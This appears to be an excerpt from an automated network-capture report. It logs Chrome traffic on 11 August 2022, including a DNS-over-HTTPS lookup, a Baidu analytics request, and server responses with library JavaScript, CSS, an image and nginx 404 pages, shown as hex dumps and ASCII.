f6 06 c9 d4 5f d3 36 db 18 e0 b4 7a 4b 71 37 72 19 65 00 a8 88 06 2d ad 03 81 9b a7 03 c1 57 e3 8a f3 2d 7f 1a 71 f3 6c 
f7 56 1d b9 84 22 bb cf 66 de 6f 16 5f d3 e0 2b 6d 06 a3 
Data Ascii: cVBL7suwYoymI%E~TKeF5Yifob-&Jd8PUF?MVc(bBx9#!SRLIfy@PD(N:qm,tW*_ZF_6zKq7re-W-qlV"fo_+m

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

157 192.168.11.20 49791 172.64.145.85 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:55 UTC 2300 OUT POST /dns-query HTTP/1.1
Host: chrome.cloudflare-dns.com
Connection: keep-alive
Content-Length: 128
Accept: application/dns-message
Accept-Language: *
User-Agent: Chrome
Accept-Encoding: identity
Content-Type: application/dns-message

2022-08-11 03:42:55 UTC 2301 OUT Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 0a 63 6f 6c 6c 65 63 74 2d 76 36 02 35 31 02 6c 61 00 00 01 00 01 00 00 
29 10 00 00 00 00 00 00 53 00 0c 00 4f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: collect-v651la)SO

Session ID Source IP Source Port Destination IP
Destination
Port

Process

158 172.64.145.85 443 192.168.11.20 49791 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:55 UTC 2987 IN HTTP/1.1 200 OK
Server: cloudflare
Date: Thu, 11 Aug 2022 03:42:55 GMT
Content-Type: application/dns-message
Connection: close
Access-Control-Allow-Origin: *
Content-Length: 468
CF-RAY: 738df6ca28af9a09-FRA

2022-08-11 03:42:55 UTC 2987 IN Data Raw: 00 00 81 80 00 01 00 02 00 00 00 01 0a 63 6f 6c 6c 65 63 74 2d 76 36 02 35 31 02 6c 61 00 00 01 00 01 c0 0c 
00 05 00 01 00 00 01 c0 00 23 10 31 62 35 65 37 64 65 32 63 65 33 34 34 64 38 61 0d 68 75 61 77 65 69 73 61 66 65 64 
6e 73 02 63 6e 00 c0 2e 00 01 00 01 00 00 00 09 00 04 b7 83 cf 42 00 00 29 04 d0 00 00 00 00 01 68 00 0c 01 64 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: collect-v651la#1b5e7de2ce344d8ahuaweisafednscn.B)hd
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

159 118.27.105.118 443 192.168.11.20 61153 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:55 UTC 4792 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:54 GMT
Content-Type: image/jpeg
Content-Length: 15005
Last-Modified: Mon, 06 Jul 2020 10:39:38 GMT
Connection: close
ETag: "5f02ff6a-3a9d"
Expires: Sat, 10 Sep 2022 03:42:54 GMT
Cache-Control: max-age=2592000
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:55 UTC 4793 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 
02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 
0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 
0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 
0c 0c ff c0 00 11 08 00 a0 01 1d 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 
00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 
04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 
Data Ascii: JFIF``CC"}!1AQa"q2

Session ID Source IP Source Port Destination IP
Destination
Port

Process

16 118.27.105.118 443 192.168.11.20 64539 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:40 UTC 137 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:39 GMT
Content-Type: application/javascript
Content-Length: 18347
Last-Modified: Mon, 28 Nov 2016 18:14:40 GMT
Connection: close
Vary: Accept-Encoding
ETag: "583c7410-47ab"
Expires: Thu, 11 Aug 2022 15:42:39 GMT
Cache-Control: max-age=43200
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:40 UTC 138 IN Data Raw: 2f 2a 20 4d 6f 64 65 72 6e 69 7a 72 20 32 2e 38 2e 33 20 28 43 75 73 74 6f 6d 20 42 75 69 6c 64 29 20 7c 20 
4d 49 54 20 26 20 42 53 44 0a 20 2a 20 42 75 69 6c 64 3a 20 68 74 74 70 3a 2f 2f 6d 6f 64 65 72 6e 69 7a 72 2e 63 6f 6d 
2f 64 6f 77 6e 6c 6f 61 64 2f 23 2d 66 6f 6e 74 66 61 63 65 2d 62 61 63 6b 67 72 6f 75 6e 64 73 69 7a 65 2d 62 6f 72 64 
65 72 69 6d 61 67 65 2d 62 6f 72 64 65 72 72 61 64 69 75 73 2d 62 6f 78 73 68 61 64 6f 77 2d 66 6c 65 78 62 6f 78 2d 68 
73 6c 61 2d 6d 75 6c 74 69 70 6c 65 62 67 73 2d 6f 70 61 63 69 74 79 2d 72 67 62 61 2d 74 65 78 74 73 68 61 64 6f 77 
2d 63 73 73 61 6e 69 6d 61 74 69 6f 6e 73 2d 63 73 73 63 6f 6c 75 6d 6e 73 2d 67 65 6e 65 72 61 74 65 64 63 6f 6e 74 65 
6e 74 2d 63 73 73 67 72 61 64 69 65 6e 74 73 2d 63 73 73 72 
Data Ascii: /* Modernizr 2.8.3 (Custom Build) | MIT & BSD * Build: http://modernizr.com/download/#-fontface-backgroundsi
ze-borderimage-borderradius-boxshadow-flexbox-hsla-multiplebgs-opacity-rgba-textshadow-cssanimations-csscolumns-
generatedcontent-cssgradients-cssr

2022-08-11 03:42:40 UTC 153 IN Data Raw: 6f 63 75 6d 65 6e 74 4d 6f 64 65 3e 37 29 7d 29 2c 4d 6f 64 65 72 6e 69 7a 72 2e 61 64 64 54 65 73 74 28 22 
64 69 73 70 6c 61 79 2d 74 61 62 6c 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 77 69 6e 64 6f 77 2e 
64 6f 63 75 6d 65 6e 74 2c 62 3d 61 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 63 3d 61 2e 63 72 65 61 74 65 
45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 2c 64 3d 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 
2c 65 3d 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 2c 66 3b 72 65 74 75 72 6e 20 63 2e 73 74 
79 6c 65 2e 63 73 73 54 65 78 74 3d 22 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 22 2c 64 2e 73 74 79 6c 65 2e 63 73 
73 54 65 78 74 3d 65 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 3d 22 64 
Data Ascii: ocumentMode>7)}),Modernizr.addTest("display-table",function(){var a=window.document,b=a.documentEl
ement,c=a.createElement("div"),d=a.createElement("div"),e=a.createElement("div"),f;return c.style.cssText="display: tabl
e",d.style.cssText=e.style.cssText="d

Session ID Source IP Source Port Destination IP
Destination
Port

Process

160 118.27.105.118 443 192.168.11.20 56184 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:55 UTC 5925 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:42:55 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:42:55 UTC 5925 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

161 118.27.105.118 443 192.168.11.20 53179 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:55 UTC 6932 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:42:55 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:42:55 UTC 6932 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

162 192.168.11.20 61866 103.235.46.191 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:55 UTC 7388 OUT GET /hm.js?17fe70ecc9d76a927d7f46dbe65fefca HTTP/1.1
Host: hm.baidu.com
Connection: keep-alive
sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 
Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://mhxyds.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

Session ID Source IP Source Port Destination IP
Destination
Port

Process

163 118.27.105.118 443 192.168.11.20 58425 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:55 UTC 7388 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:42:55 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:42:55 UTC 7388 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

164 118.27.105.118 443 192.168.11.20 59241 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:55 UTC 7389 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:55 GMT
Content-Type: text/css
Content-Length: 154
Last-Modified: Thu, 26 Nov 2015 09:53:32 GMT
Connection: close
ETag: "5656d69c-9a"
Expires: Thu, 11 Aug 2022 15:42:55 GMT
Cache-Control: max-age=43200
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:55 UTC 7389 IN Data Raw: ef bb bf 2e 66 6f 72 6d 2d 69 6e 6c 69 6e 65 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 20 7b 0d 0a 20 20 6d 61 72 
67 69 6e 3a 20 33 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 72 65 71 75 69 72 65 64 2d 66 69 65 6c 64 20 2e 63 6f 6e 74 72 6f 
6c 2d 6c 61 62 65 6c 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 23 64 30 30 3b 0d 0a 20 20 63 6f 6e 74 
65 6e 74 3a 20 22 2a 22 3b 0d 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 65 72 3b 0d 0a 7d 0d 0a 
Data Ascii: .form-inline.form-control {  margin: 3px;}.required-field .control-label:before {  color: #d00;  content: "*";  font-w
eight: bolder;}

Session ID Source IP Source Port Destination IP
Destination
Port

Process

165 118.27.105.118 443 192.168.11.20 55168 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:55 UTC 8451 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Thu, 11 Aug 2022 03:42:55 GMT
Content-Type: text/html
Content-Length: 548
Connection: close

2022-08-11 03:42:55 UTC 8451 IN Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 
64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 
6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 7
3 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to 
disable MSIE and Chrome 

Session ID Source IP Source Port Destination IP
Destination
Port

Process

166 118.27.105.118 443 192.168.11.20 61076 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-08-11 03:42:55 UTC 8451 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 11 Aug 2022 03:42:55 GMT
Content-Type: application/javascript
Content-Length: 493791
Last-Modified: Tue, 04 Oct 2016 12:11:52 GMT
Connection: close
Vary: Accept-Encoding
ETag: "57f39c88-788df"
Expires: Thu, 11 Aug 2022 15:42:55 GMT
Cache-Control: max-age=43200
Strict-Transport-Security: max-age=31536000
Accept-Ranges: bytes

2022-08-11 03:42:55 UTC 8452 IN Data Raw: 76 61 72 20 77 66 66 6d 3b 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 69 66 20 28 21 77 66 66 6d 20 7c 7c 
20 21 77 66 66 6d 2e 72 65 71 75 69 72 65 6a 73 29 20 7b 0a 69 66 20 28 21 77 66 66 6d 29 20 7b 20 77 66 66 6d 20 3d 
20 7b 7d 3b 20 7d 20 65 6c 73 65 20 7b 20 72 65 71 75 69 72 65 20 3d 20 77 66 66 6d 3b 20 7d 0a 2f 2a 2a 20 76 69 6d 
3a 20 65 74 3a 74 73 3d 34 3a 73 77 3d 34 3a 73 74 73 3d 34 0d 0a 20 2a 20 40 6c 69 63 65 6e 73 65 20 52 65 71 75 69 
72 65 4a 53 20 32 2e 31 2e 31 35 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 30 2d 32 30 31 34 2c 20 54 68 
65 20 44 6f 6a 6f 20 46 6f 75 6e 64 61 74 69 6f 6e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0d 0a 
20 2a 20 41 76 61 69 6c 61 62 6c 65 20 76 69 61 20 74 68 65 20 4d 49 
Data Ascii: var wffm;(function () { if (!wffm || !wffm.requirejs) {if (!wffm) { wffm = {}; } else { require = wffm; }/** vim: et:t
s=4:sw=4:sts=4 * @license RequireJS 2.1.15 Copyright (c) 2010-2014, The Dojo Foundation All Rights Reserved. * 
Available via the MI

2022-08-11 03:42:55 UTC 8467 IN Data Raw: 20 2a 20 40 72 65 74 75 72 6e 73 20 7b 4f 62 6a 65 63 74 7d 0d 0a 20 20 20 20 20 20 20 20 20 2a 2f 0d 0a 20 
20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 6d 61 6b 65 4d 6f 64 75 6c 65 4d 61 70 28 6e 61 6d 65 2c 20 70 61 72 
65 6e 74 4d 6f 64 75 6c 65 4d 61 70 2c 20 69 73 4e 6f 72 6d 61 6c 69 7a 65 64 2c 20 61 70 70 6c 79 4d 61 70 29 20 7b 0d 
0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 75 72 6c 2c 20 70 6c 75 67 69 6e 4d 6f 64 75 6c 65 2c 20 73 75 66 
66 69 78 2c 20 6e 61 6d 65 50 61 72 74 73 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 72 65 66 69 78 
20 3d 20 6e 75 6c 6c 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 72 65 6e 74 4e 61 6d 65 20 3d 20 
70 61 72 65 6e 74 4d 6f 64 75 6c 65 4d 61 70 20 3f 20 70 61 72 65 6e 
Data Ascii:  * @returns {Object}         */        function makeModuleMap(name, parentModuleMap, isNormalized, 
applyMap) {            var url, pluginModule, suffix, nameParts,                prefix = null,                parentName = parent
ModuleMap ? paren

2022-08-11 03:42:55 UTC 8515 IN Data Raw: 20 20 20 20 20 20 20 20 20 20 20 2a 20 64 65 66 69 6e 65 20 69 74 2e 0d 0a 20 20 20 20 20 20 20 20 20 20 
20 20 20 2a 2f 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 68 65 63 6b 3a 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 
0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 21 74 68 69 73 2e 65 6e 61 62 6c 65 64 20 7c 7c 20 
74 68 69 73 2e 65 6e 61 62 6c 69 6e 67 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 
65 74 75 72 6e 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 76 61 72 20 65 72 72 2c 20 63 6a 73 4d 6f 64 75 6c 65 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 69 64 20 3d 20 74 68 69 73 2e 6d 61 70 2e 69 64 2c 
Data Ascii:            * define it.             */            check: function () {                if (!this.enabled || this.enabling) {                    
return;                }                var err, cjsModule,                    id = this.map.id,

2022-08-11 03:42:55 UTC 8531 IN Data Raw: 20 20 20 76 61 72 20 6e 6f 64 65 20 3d 20 65 76 74 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 20 7c 7c 20 65 
76 74 2e 73 72 63 45 6c 65 6d 65 6e 74 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 52 65 6d 6f 76 65 20 
74 68 65 20 6c 69 73 74 65 6e 65 72 73 20 6f 6e 63 65 20 68 65 72 65 2e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 
65 6d 6f 76 65 4c 69 73 74 65 6e 65 72 28 6e 6f 64 65 2c 20 63 6f 6e 74 65 78 74 2e 6f 6e 53 63 72 69 70 74 4c 6f 61 64 
2c 20 27 6c 6f 61 64 27 2c 20 27 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 27 29 3b 0d 0a 20 20 20 20 20 2
0 20 20 20 20 20 20 72 65 6d 6f 76 65 4c 69 73 74 65 6e 65 72 28 6e 6f 64 65 2c 20 63 6f 6e 74 65 78 74 2e 6f 6e 53 63 7
2 69 70 74 45 72 72 6f 72 2c 20 27 65 72 72 6f 72 27 29 3b 0d 0a 
Data Ascii:    var node = evt.currentTarget || evt.srcElement;            //Remove the listeners once here.            r
emoveListener(node, context.onScriptLoad, 'load', 'onreadystatechange');            removeListener(node, context.onScrip
tError, 'error');

2022-08-11 03:42:55 UTC 8547 IN Data Raw: 20 20 20 20 20 20 20 6d 6f 64 75 6c 65 4e 61 6d 65 20 3d 20 70 6b 67 4d 61 69 6e 3b 0d 0a 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 75 6e 64 6c 65 49 64 
20 3d 20 67 65 74 4f 77 6e 28 62 75 6e 64 6c 65 73 4d 61 70 2c 20 6d 6f 64 75 6c 65 4e 61 6d 65 29 3b 0d 0a 0d 0a 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 62 75 6e 64 6c 65 49 64 29 20 7b 0d 0a 20 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 63 6f 6e 74 65 78 74 2e 6e 61 6d 65 54 6f 55 72 6c 28 62 
75 6e 64 6c 65 49 64 2c 20 65 78 74 2c 20 73 6b 69 70 45 78 74 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 
Data Ascii:        moduleName = pkgMain;                }                bundleId = getOwn(bundlesMap, moduleName);               
 if (bundleId) {                    return context.nameToUrl(bundleId, ext, skipExt);                }                /

2022-08-11 03:42:55 UTC 8563 IN Data Raw: 6f 20 64 61 74 61 4d 61 69 6e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 72 65 71 
2e 6a 73 45 78 74 52 65 67 45 78 70 2e 74 65 73 74 28 6d 61 69 6e 53 63 72 69 70 74 29 29 20 7b 0d 0a 20 20 20 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 69 6e 53 63 72 69 70 74 20 3d 20 64 61 74 61 4d 61 69 6e 3b 0d 0a 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 
50 75 74 20 74 68 65 20 64 61 74 61 2d 6d 61 69 6e 20 73 63 72 69 70 74 20 69 6e 20 74 68 65 20 66 69 6c 65 73 20 74 
6f 20 6c 6f 61 64 2e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 66 67 2e 64 65 70 73 20 3d 20 63 66 67 
2e 64 65 70 73 20 3f 20 63 66 67 2e 64 65 70 73 2e 63 6f 6e 63 61 74 28 6d 
Data Ascii: o dataMain                if (req.jsExtRegExp.test(mainScript)) {                    mainScript = dataMain;                }    
            //Put the data-main script in the files to load.                cfg.deps = cfg.deps ? cfg.deps.concat(m

2022-08-11 03:42:56 UTC 8586 IN Data Raw: 72 5d 2c 69 29 2c 75 3d 3d 3d 21 31 29 62 72 65 61 6b 7d 65 6c 73 65 20 69 66 28 65 29 7b 66 6f 72 28 3b 72 
3c 66 3b 72 2b 2b 29 69 66 28 75 3d 74 2e 63 61 6c 6c 28 6e 5b 72 5d 2c 72 2c 6e 5b 72 5d 29 2c 75 3d 3d 3d 21 31 29 
62 72 65 61 6b 7d 65 6c 73 65 20 66 6f 72 28 72 20 69 6e 20 6e 29 69 66 28 75 3d 74 2e 63 61 6c 6c 28 6e 5b 72 5d 2c 
72 2c 6e 5b 72 5d 29 2c 75 3d 3d 3d 21 31 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 6e 7d 2c 74 72 69 6d 3a 66 75 6e 
63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 6e 3d 3d 6e 75 6c 6c 3f 22 22 3a 28 6e 2b 22 22 29 2e 72 65 70 6c 61 
63 65 28 74 66 2c 22 22 29 7d 2c 6d 61 6b 65 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 76 61 72 20 
72 3d 74 7c 7c 5b 5d 3b 72 65 74 75 72 6e 20 6e 21 3d 6e 75 6c 6c 26 26 
Data Ascii: r],i),u===!1)break}else if(e){for(;r<f;r++)if(u=t.call(n[r],r,n[r]),u===!1)break}else for(r in n)if(u=t.call(n[r],r,n[
r]),u===!1)break;return n},trim:function(n){return n==null?"":(n+"").replace(tf,"")},makeArray:function(n,t){var r=t||[];return n!
=null&&
